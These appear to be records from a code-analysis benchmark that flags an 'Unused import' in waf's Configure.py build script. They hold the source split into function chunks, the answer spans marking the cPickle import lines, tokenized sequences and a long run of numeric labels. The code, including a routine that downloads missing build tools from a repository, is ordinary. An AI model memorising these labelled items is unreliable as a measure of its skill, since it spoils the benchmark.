"\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "program", "\\u", "id_", "=_", "'", "all", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loc", "\\u", "id_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dm_", "._", "location", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "location_", "=_", "SQL", "Location_", "._", "objects_", "._", "get_", "(_", "location", "\\u", "id_", "=_", "dm_", "._", "location", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "location_", "._", "location", "\\u", "type_", "._", "administrati", "ve_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "url_", "=_", "Stock", "Status_", "._", "get", "\\u", "raw", "\\u", "url_", "(_", "domain_", ",_", "request_", "=_", "self_", "._", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loc", "\\u", "id_", "=_", "location_", "._", "location", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "extension_", "=_", "EW", "SE", "xte", "nsion", "_", "._", "objects_", "._", "get_", "(_", "domain_", "=_", "domain_", ",_", "user", "\\u", "id_", "=_", "user_", "._", "get", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc", "\\u", "id_", "=_", "extension_", "._", "location", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "loc", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "url_", "=_", "Stock", "Status_", "._", "get", "\\u", "raw", "\\u", "url_", "(_", "domain_", ",_", "request_", "=_", "self_", "._", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "EW", "SE", "xte", "nsion", "_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start", "\\u", "date_", ",_", "end", "\\u", "date_", "=_", "calcul", "ate", "\\u", "last", "\\u", "period_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'%", "s", "?", "location", "\\u", "id", "=", "%", "s", "&", "filter", "\\u", "by", "\\u", "program", "=", "%", "s", "&", "startd", "ate", "=", "%", "s", "&", "enddate", "=", "%", "s", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "loc", "\\u", "id_", "or_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "program", "\\u", "id_", "if_", "program", "\\u", "id_", "else_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "date_", "._", "strftime_", "(_", "'%", "Y", "-%", "m", "-%", "d", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "end", "\\u", "date_", "._", "strftime_", "(_", "'%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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
appcelerator-archive/poc-nodejs-desktop/Resources/nodejs/builds/linux/node/lib/node/wafadmin/Configure.py
[ { "content": "#!/usr/bin/env python\n# encoding: utf-8\n# Thomas Nagy, 2005-2008 (ita)\n\n\"\"\"\nConfiguration system\n\nA configuration instance is created when \"waf configure\" is called, it is used to:\n* create data dictionaries (Environment instances)\n* store the list of modules to import\n\nThe old model (copied from Scons) was to store logic (mapping file extensions to functions)\nalong with the data. In Waf a way was found to separate that logic by adding an indirection\nlayer (storing the names in the Environment instances)\n\nIn the new model, the logic is more object-oriented, and the user scripts provide the\nlogic. The data files (Environments) must contain configuration data only (flags, ..).\n\nNote: the c/c++ related code is in the module config_c\n\"\"\"\n\nimport os, shlex, sys, time\ntry: import cPickle\nexcept ImportError: import pickle as cPickle\nimport Environment, Utils, Options, Logs\nfrom Logs import warn\nfrom Constants import *\n\ntry:\n\tfrom urllib import request\nexcept:\n\tfrom urllib import urlopen\nelse:\n\turlopen = request.urlopen\n\nconf_template = '''# project %(app)s configured on %(now)s by\n# waf %(wafver)s (abi %(abi)s, python %(pyver)x on %(systype)s)\n# using %(args)s\n#\n'''\n\n\nautoconfig = False\n\"reconfigure the project automatically\"\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ConfigurationError(Utils.WscriptError):\n\tpass", "metadata": "root.ConfigurationError", "header": "['module', '___EOS___']", "index": 41 }, { "content": "def find_file(filename, path_list):\n\t\"\"\"find a file in a list of paths\n\t@param filename: name of the file to search for\n\t@param path_list: list of directories to search\n\t@return: the first occurrence filename or '' if filename could not be found\n\"\"\"\n\tfor directory in Utils.to_list(path_list):\n\t\tif os.path.exists(os.path.join(directory, filename)):\n\t\t\treturn directory\n\treturn ''", "metadata": "root.find_file", "header": "['module', '___EOS___']", "index": 47 }, { "content": "def find_program_impl(env, filename, path_list=[], var=None, environ=None):\n\t\"\"\"find a program in folders path_lst, and sets env[var]\n\t@param env: environment\n\t@param filename: name of the program to search for\n\t@param path_list: list of directories to search for filename\n\t@param var: environment value to be checked for in env or os.environ\n\t@return: either the value that is referenced with [var] in env or os.environ\n or the first occurrence filename or '' if filename could not be found\n\"\"\"\n\n\tif not environ:\n\t\tenviron = os.environ\n\n\ttry: path_list = path_list.split()\n\texcept AttributeError: pass\n\n\tif var:\n\t\tif env[var]: return env[var]\n\t\tif var in environ: env[var] = environ[var]\n\n\tif not path_list: path_list = environ.get('PATH', '').split(os.pathsep)\n\n\text = (Options.platform == 'win32') and '.exe,.com,.bat,.cmd' or ''\n\tfor y in [filename+x for x in ext.split(',')]:\n\t\tfor directory in path_list:\n\t\t\tx = os.path.join(directory, y)\n\t\t\tif os.path.isfile(x):\n\t\t\t\tif var: env[var] = x\n\t\t\t\treturn x\n\treturn ''", "metadata": "root.find_program_impl", "header": "['module', '___EOS___']", "index": 58 }, { "content": "class ConfigurationContext(Utils.Context):\n\ttests = {}\n\terror_handlers = []\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t# FIXME remove in waf 1.6\n\t# the parameter 'option' is not used (kept for compatibility)\n\n\n\n\n", "metadata": "root.ConfigurationContext", "header": "['module', '___EOS___']", "index": 89 }, { "content": "\tdef __init__(self, env=None, blddir='', srcdir=''):\n\t\tself.env = None\n\t\tself.envname = ''\n\n\t\tself.environ = dict(os.environ)\n\n\t\tself.line_just = 40\n\n\t\tself.blddir = blddir\n\t\tself.srcdir = srcdir\n\t\tself.all_envs = {}\n\n\t\t# curdir: necessary for recursion\n\t\tself.cwd = self.curdir = os.getcwd()\n\n\t\tself.tools = [] # tools loaded in the configuration, and that will be loaded when building\n\n\t\tself.setenv(DEFAULT)\n\n\t\tself.lastprog = ''\n\n\t\tself.hash = 0\n\t\tself.files = []\n\n\t\tself.tool_cache = []\n\n\t\tif self.blddir:\n\t\t\tself.post_init()", "metadata": "root.ConfigurationContext.__init__", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 92 }, { "content": "\tdef post_init(self):\n\n\t\tself.cachedir = os.path.join(self.blddir, CACHE_DIR)\n\n\t\tpath = os.path.join(self.blddir, WAF_CONFIG_LOG)\n\t\ttry: os.unlink(path)\n\t\texcept (OSError, IOError): pass\n\n\t\ttry:\n\t\t\tself.log = open(path, 'w')\n\t\texcept (OSError, IOError):\n\t\t\tself.fatal('could not open %r for writing' % path)\n\n\t\tapp = Utils.g_module.APPNAME\n\t\tif app:\n\t\t\tver = getattr(Utils.g_module, 'VERSION', '')\n\t\t\tif ver:\n\t\t\t\tapp = \"%s (%s)\" % (app, ver)\n\n\t\tnow = time.ctime()\n\t\tpyver = sys.hexversion\n\t\tsystype = sys.platform\n\t\targs = \" \".join(sys.argv)\n\t\twafver = WAFVERSION\n\t\tabi = ABI\n\t\tself.log.write(conf_template % vars())", "metadata": "root.ConfigurationContext.post_init", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 121 }, { "content": "\tdef __del__(self):\n\t\t\"\"\"cleanup function: close config.log\"\"\"\n\n\t\t# may be ran by the gc, not always after initialization\n\t\tif hasattr(self, 'log') and self.log:\n\t\t\tself.log.close()", "metadata": "root.ConfigurationContext.__del__", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 148 }, { "content": "\tdef fatal(self, msg):\n\t\traise ConfigurationError(msg)", "metadata": "root.ConfigurationContext.fatal", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 155 }, { "content": "\tdef check_tool(self, input, tooldir=None, funs=None):\n\t\t\"load a waf tool\"\n\n\t\ttools = Utils.to_list(input)\n\t\tif tooldir: tooldir = Utils.to_list(tooldir)\n\t\tfor tool in tools:\n\t\t\ttool = tool.replace('++', 'xx')\n\t\t\tif tool == 'java': tool = 'javaw'\n\t\t\tif tool.lower() == 'unittest': tool = 'unittestw'\n\t\t\t# avoid loading the same tool more than once with the same functions\n\t\t\t# used by composite projects\n\n\t\t\tmag = (tool, id(self.env), funs)\n\t\t\tif mag in self.tool_cache:\n\t\t\t\tcontinue\n\t\t\tself.tool_cache.append(mag)\n\n\t\t\tif not tooldir:\n\t\t\t\t# check if the tool exists in the Tools or 3rdparty folders\n\t\t\t\t_Tools = Options.tooldir[0]\n\t\t\t\t_3rdparty = os.sep.join((_Tools, '..', '3rdparty'))\n\t\t\t\tfor d in (_Tools, _3rdparty):\n\t\t\t\t\tlst = os.listdir(d)\n\t\t\t\t\tif tool + '.py' in lst:\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\t# try to download the tool from the repository then\n\t\t\t\t\tfor x in Utils.to_list(Options.remote_repo):\n\t\t\t\t\t\tfor sub in ['branches/waf-%s/wafadmin/3rdparty' % WAFVERSION, 'trunk/wafadmin/3rdparty']:\n\t\t\t\t\t\t\turl = '/'.join((x, sub, tool + '.py'))\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tweb = urlopen(url)\n\t\t\t\t\t\t\t\tif web.getcode() != 200:\n\t\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\texcept Exception, e:\n\t\t\t\t\t\t\t\t# on python3 urlopen throws an exception\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\tloc = open(_3rdparty + os.sep + tool + '.py', 'wb')\n\t\t\t\t\t\t\t\t\tloc.write(web.read())\n\t\t\t\t\t\t\t\t\tweb.close()\n\t\t\t\t\t\t\t\tfinally:\n\t\t\t\t\t\t\t\t\tloc.close()\n\t\t\t\t\t\t\t\tLogs.warn('downloaded %s from %s' % (tool, url))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\tmodule = Utils.load_tool(tool, tooldir)\n\n\t\t\tif funs is not None:\n\t\t\t\tself.eval_rules(funs)\n\t\t\telse:\n\t\t\t\tfunc = getattr(module, 'detect', None)\n\t\t\t\tif func:\n\t\t\t\t\tif type(func) is type(find_file): func(self)\n\t\t\t\t\telse: self.eval_rules(func)\n\n\t\t\tself.tools.append({'tool':tool, 'tooldir':tooldir, 'funs':funs})", "metadata": "root.ConfigurationContext.check_tool", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 158 }, { "content": "\tdef sub_config(self, k):\n\t\t\"executes the configure function of a wscript module\"\n\t\tself.recurse(k, name='configure')", "metadata": "root.ConfigurationContext.sub_config", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 218 }, { "content": "\tdef pre_recurse(self, name_or_mod, path, nexdir):\n\t\treturn {'conf': self, 'ctx': self}", "metadata": "root.ConfigurationContext.pre_recurse", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 222 }, { "content": "\tdef post_recurse(self, name_or_mod, path, nexdir):\n\t\tif not autoconfig:\n\t\t\treturn\n\t\tself.hash = hash((self.hash, getattr(name_or_mod, 'waf_hash_val', name_or_mod)))\n\t\tself.files.append(path)", "metadata": "root.ConfigurationContext.post_recurse", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 225 }, { "content": "\tdef store(self, file=''):\n\t\t\"save the config results into the cache file\"\n\t\tif not os.path.isdir(self.cachedir):\n\t\t\tos.makedirs(self.cachedir)\n\n\t\tif not file:\n\t\t\tfile = open(os.path.join(self.cachedir, 'build.config.py'), 'w')\n\t\tfile.write('version = 0x%x\\n' % HEXVERSION)\n\t\tfile.write('tools = %r\\n' % self.tools)\n\t\tfile.close()\n\n\t\tif not self.all_envs:\n\t\t\tself.fatal('nothing to store in the configuration context!')\n\t\tfor key in self.all_envs:\n\t\t\ttmpenv = self.all_envs[key]\n\t\t\ttmpenv.store(os.path.join(self.cachedir, key + CACHE_SUFFIX))", "metadata": "root.ConfigurationContext.store", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 231 }, { "content": "\tdef set_env_name(self, name, env):\n\t\t\"add a new environment called name\"\n\t\tself.all_envs[name] = env\n\t\treturn env", "metadata": "root.ConfigurationContext.set_env_name", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 248 }, { "content": "\tdef retrieve(self, name, fromenv=None):\n\t\t\"retrieve an environment called name\"\n\t\ttry:\n\t\t\tenv = self.all_envs[name]\n\t\texcept KeyError:\n\t\t\tenv = Environment.Environment()\n\t\t\tenv['PREFIX'] = os.path.abspath(os.path.expanduser(Options.options.prefix))\n\t\t\tself.all_envs[name] = env\n\t\telse:\n\t\t\tif fromenv: warn(\"The environment %s may have been configured already\" % name)\n\t\treturn env", "metadata": "root.ConfigurationContext.retrieve", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 253 }, { "content": "\tdef setenv(self, name):\n\t\t\"enable the environment called name\"\n\t\tself.env = self.retrieve(name)\n\t\tself.envname = name", "metadata": "root.ConfigurationContext.setenv", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 265 }, { "content": "\tdef add_os_flags(self, var, dest=None):\n\t\t# do not use 'get' to make certain the variable is not defined\n\t\ttry: self.env.append_value(dest or var, Utils.to_list(self.environ[var]))\n\t\texcept KeyError: pass", "metadata": "root.ConfigurationContext.add_os_flags", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 270 }, { "content": "\tdef check_message_1(self, sr):\n\t\tself.line_just = max(self.line_just, len(sr))\n\t\tfor x in ('\\n', self.line_just * '-', '\\n', sr, '\\n'):\n\t\t\tself.log.write(x)\n\t\tUtils.pprint('NORMAL', \"%s :\" % sr.ljust(self.line_just), sep='')", "metadata": "root.ConfigurationContext.check_message_1", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 275 }, { "content": "\tdef check_message_2(self, sr, color='GREEN'):\n\t\tself.log.write(sr)\n\t\tself.log.write('\\n')\n\t\tUtils.pprint(color, sr)", "metadata": "root.ConfigurationContext.check_message_2", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 281 }, { "content": "\tdef check_message(self, th, msg, state, option=''):\n\t\tsr = 'Checking for %s %s' % (th, msg)\n\t\tself.check_message_1(sr)\n\t\tp = self.check_message_2\n\t\tif state: p('ok ' + str(option))\n\t\telse: p('not found', 'YELLOW')", "metadata": "root.ConfigurationContext.check_message", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 286 }, { "content": "\tdef check_message_custom(self, th, msg, custom, option='', color='PINK'):\n\t\tsr = 'Checking for %s %s' % (th, msg)\n\t\tself.check_message_1(sr)\n\t\tself.check_message_2(custom, color)", "metadata": "root.ConfigurationContext.check_message_custom", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 295 }, { "content": "\tdef find_program(self, filename, path_list=[], var=None, mandatory=False):\n\t\t\"wrapper that adds a configuration message\"\n\n\t\tret = None\n\t\tif var:\n\t\t\tif self.env[var]:\n\t\t\t\tret = self.env[var]\n\t\t\telif var in os.environ:\n\t\t\t\tret = os.environ[var]\n\n\t\tif not isinstance(filename, list): filename = [filename]\n\t\tif not ret:\n\t\t\tfor x in filename:\n\t\t\t\tret = find_program_impl(self.env, x, path_list, var, environ=self.environ)\n\t\t\t\tif ret: break\n\n\t\tself.check_message_1('Checking for program %s' % ' or '.join(filename))\n\t\tself.log.write(' find program=%r paths=%r var=%r\\n -> %r\\n' % (filename, path_list, var, ret))\n\t\tif ret:\n\t\t\tUtils.pprint('GREEN', str(ret))\n\t\telse:\n\t\t\tUtils.pprint('YELLOW', 'not found')\n\t\t\tif mandatory:\n\t\t\t\tself.fatal('The program %r is required' % filename)\n\n\t\tif var:\n\t\t\tself.env[var] = ret\n\t\treturn ret", "metadata": "root.ConfigurationContext.find_program", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 300 }, { "content": "\tdef cmd_to_list(self, cmd):\n\t\t\"commands may be written in pseudo shell like 'ccache g++'\"\n\t\tif isinstance(cmd, str) and cmd.find(' '):\n\t\t\ttry:\n\t\t\t\tos.stat(cmd)\n\t\t\texcept OSError:\n\t\t\t\treturn shlex.split(cmd)\n\t\t\telse:\n\t\t\t\treturn [cmd]\n\t\treturn cmd", "metadata": "root.ConfigurationContext.cmd_to_list", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 329 }, { "content": "\tdef __getattr__(self, name):\n\t\tr = self.__class__.__dict__.get(name, None)\n\t\tif r: return r\n\t\tif name and name.startswith('require_'):\n\n\t\t\tfor k in ['check_', 'find_']:\n\t\t\t\tn = name.replace('require_', k)\n\t\t\t\tret = self.__class__.__dict__.get(n, None)\n\t\t\t\tif ret:\n\t\t\t\t\tdef run(*k, **kw):\n\t\t\t\t\t\tr = ret(self, *k, **kw)\n\t\t\t\t\t\tif not r:\n\t\t\t\t\t\t\tself.fatal('requirement failure')\n\t\t\t\t\t\treturn r\n\t\t\t\t\treturn run\n\t\tself.fatal('No such method %r' % name)", "metadata": "root.ConfigurationContext.__getattr__", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 340 }, { "content": "\tdef eval_rules(self, rules):\n\t\tself.rules = Utils.to_list(rules)\n\t\tfor x in self.rules:\n\t\t\tf = getattr(self, x)\n\t\t\tif not f: self.fatal(\"No such method '%s'.\" % x)\n\t\t\ttry:\n\t\t\t\tf()\n\t\t\texcept Exception, e:\n\t\t\t\tret = self.err_handler(x, e)\n\t\t\t\tif ret == BREAK:\n\t\t\t\t\tbreak\n\t\t\t\telif ret == CONTINUE:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tself.fatal(e)", "metadata": "root.ConfigurationContext.eval_rules", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 357 }, { "content": "\tdef err_handler(self, fun, error):\n\t\tpass", "metadata": "root.ConfigurationContext.err_handler", "header": "['class', 'ConfigurationContext', '(', 'Utils', '.', 'Context', ')', ':', '___EOS___']", "index": 373 }, { "content": "def conf(f):\n\t\"decorator: attach new configuration functions\"\n\tsetattr(ConfigurationContext, f.__name__, f)\n\treturn f", "metadata": "root.conf", "header": "['module', '___EOS___']", "index": 376 }, { "content": "def conftest(f):\n\t\"decorator: attach new configuration tests (registered as strings)\"\n\tConfigurationContext.tests[f.__name__] = f\n\treturn conf(f)", "metadata": "root.conftest", "header": "['module', '___EOS___']", "index": 381 } ]
[ { "span": "import cPickle", "start_line": 22, "start_column": 5, "end_line": 22, "end_column": 19 }, { "span": "import pickle as cPickle", "start_line": 23, "start_column": 20, "end_line": 23, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tho", "mas", " ", "Nag", "y", ",", " ", "2005", "-", "2008", " ", "(", "ita", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Configura", "tion", " ", "system", "\\", "10", ";", "\\", "10", ";", "A", " ", "configura", "tion", " ", "instance", " ", "is", " ", "created", " ", "whe", "n", " ", "\"", "waf", " ", "configur", "e", "\"", " ", "is", " ", "call", "ed", ",", " ", "it", " ", "is", " ", "used", " ", "to", ":", "\\", "10", ";", "*", " ", "create", " ", "data", " ", "dictionar", "ies", " ", "(", "Environ", "ment", " ", "instance", "s", ")", "\\", "10", ";", "*", " ", "store", " ", "the", " ", "list", " ", "of", " ", "module", "s", " ", "to", " ", "import", "\\", "10", ";", "\\", "10", ";", "The", " ", "old", " ", "model", " ", "(", "copie", "d", " ", "from", " ", "Sco", "ns", ")", " ", "was", " ", "to", " ", "store", " ", "logic", " ", "(", "mapping", " ", "file", " ", "extensi", "ons", " ", "to", " ", "function", "s", ")", "\\", "10", ";", "along", " ", "with", " ", "the", " ", "data", ".", " ", "In", " ", "Wa", "f", " ", "a", " ", "way", " ", "was", " ", "found", " ", "to", " ", "separate", " ", "tha", "t", " ", "logic", " ", "by", " ", "addin", "g", " ", "an", " ", "indirect", "ion", "\\", "10", ";", "layer", " ", "(", "stor", "ing", " ", "the", " ", "names", " ", "in", " ", "the", " ", "Environ", "ment", " ", "instance", "s", ")", "\\", "10", ";", "\\", "10", ";", "In", " ", "the", " ", "new", " ", "model", ",", " ", "the", " ", "logic", " ", "is", " ", "more", " ", "object", "-", "orient", "ed", ",", " ", "and", " ", "the", " ", "user", " ", "scripts", " ", "provide", " ", "the", "\\", "10", ";", "logic", ".", " ", "The", " ", "data", " ", "files", " ", "(", "Environ", "ment", "s", ")", " ", "must", " ", "contain", " ", "configura", "tion", " ", "data", " ", "only", " ", "(", "flags", ",", " ", "..", ").", "\\", "10", ";", "\\", "10", ";", "Not", "e", ":", " ", "the", " ", "c", "/", "c", "++", " ", "relate", "d", " ", "code", " ", "is", " ", "in", " ", "the", " ", "module", " ", "config", "\\u", "c", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "shlex_", ",_", "sys_", ",_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "import_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Import", "Error_", ":_", "import_", "pickle_", "as_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Environment_", ",_", "Utils_", ",_", "Options_", ",_", "Logs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Logs_", "import_", "warn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Constants_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "from_", "urllib_", "import_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "from_", "urllib_", "import_", "urlopen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "urlopen_", "=_", "request_", "._", "urlopen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "conf", "\\u", "template_", "=_", "'''", "#", " ", "project", " ", "%", "(", "app", ")", "s", " ", "configur", "ed", " ", "on", " ", "%", "(", "now", ")", "s", " ", "by", "\\", "10", ";", "#", " ", "waf", " ", "%", "(", "waf", "ver", ")", "s", " ", "(", "abi", " ", "%", "(", "abi", ")", "s", ",", " ", "python", " ", "%", "(", "pyv", "er", ")", "x", " ", "on", " ", "%", "(", "syst", "ype", ")", "s", ")", "\\", "10", ";", "#", " ", "usi", "ng", " ", "%", "(", "args", ")", "s", "\\", "10", ";", "#", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "autocon", "fig_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\"", "reconfigur", "e", " ", "the", " ", "project", " ", "automati", "call", "y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Configura", "tion", "Error_", "(_", "Utils_", "._", "Ws", "cript", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "find", "\\u", "file_", "(_", "filename_", ",_", "path", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "find", " ", "a", " ", "file", " ", "in", " ", "a", " ", "list", " ", "of", " ", "path", "s", "\\", "10", ";", "\t", "@", "param", " ", "filename", ":", " ", "name", " ", "of", " ", "the", " ", "file", " ", "to", " ", "search", " ", "for", "\\", "10", ";", "\t", "@", "param", " ", "path", "\\u", "list", ":", " ", "list", " ", "of", " ", "director", "ies", " ", "to", " ", "search", "\\", "10", ";", "\t", "@", "return", ":", " ", "the", " ", "first", " ", "occurrence", " ", "filename", " ", "or", " ", "''", " ", "if", " ", "filename", " ", "coul", "d", " ", "not", " ", "be", " ", "found", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "directory_", "in_", "Utils_", "._", "to", "\\u", "list_", "(_", "path", "\\u", "list_", 